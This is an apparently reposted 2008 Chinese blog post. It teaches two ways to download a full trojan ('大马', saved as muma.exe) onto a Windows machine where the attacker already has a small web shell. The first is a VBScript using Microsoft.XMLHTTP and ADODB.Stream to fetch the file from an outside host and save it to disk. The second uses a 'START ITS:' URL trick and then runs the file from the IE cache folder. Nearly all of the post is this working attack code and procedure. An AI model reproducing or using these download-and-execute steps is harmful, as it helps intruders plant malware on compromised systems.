2款经典且另类的拉大马方法

时间: 2008-03-21 / 分类: 未分类 / 浏览次数: / 0个评论 发表评论

转载请注明出处hi.baidu.com/biweilun!

拉大马的方法很多,比如小马拉大马,TFTP,FTP ==== 我就不说这些了,说点别的,小菜值得一看,这里都是适用于已经有小shell的情况

1、VBS下载法

Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET","
xPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile "muma.exe",2

将上述代码保存为download.vbs,然后执行cscript download.vbs就行了。http://www.biweilun.cn/muma.exe改成你放文件的网站路径,muma.exe可以改成保存为本机文件的路径。

2、START ITS:HTTP://www.biweilun.cn/muma.exe

这一种方法不是很常见的,非常值得学习!

然后cd "C:Documents and SettingsDefault UserLocal SettingsTemporary Internet FilesContent.IE5",接着运行 文件名[1],这里系统会自动为下好的文件+上一个 [1]的,比如本例就是muma[1].exe。

您阅读此文共耗时

发表评论

你必须 登录后 才能留言!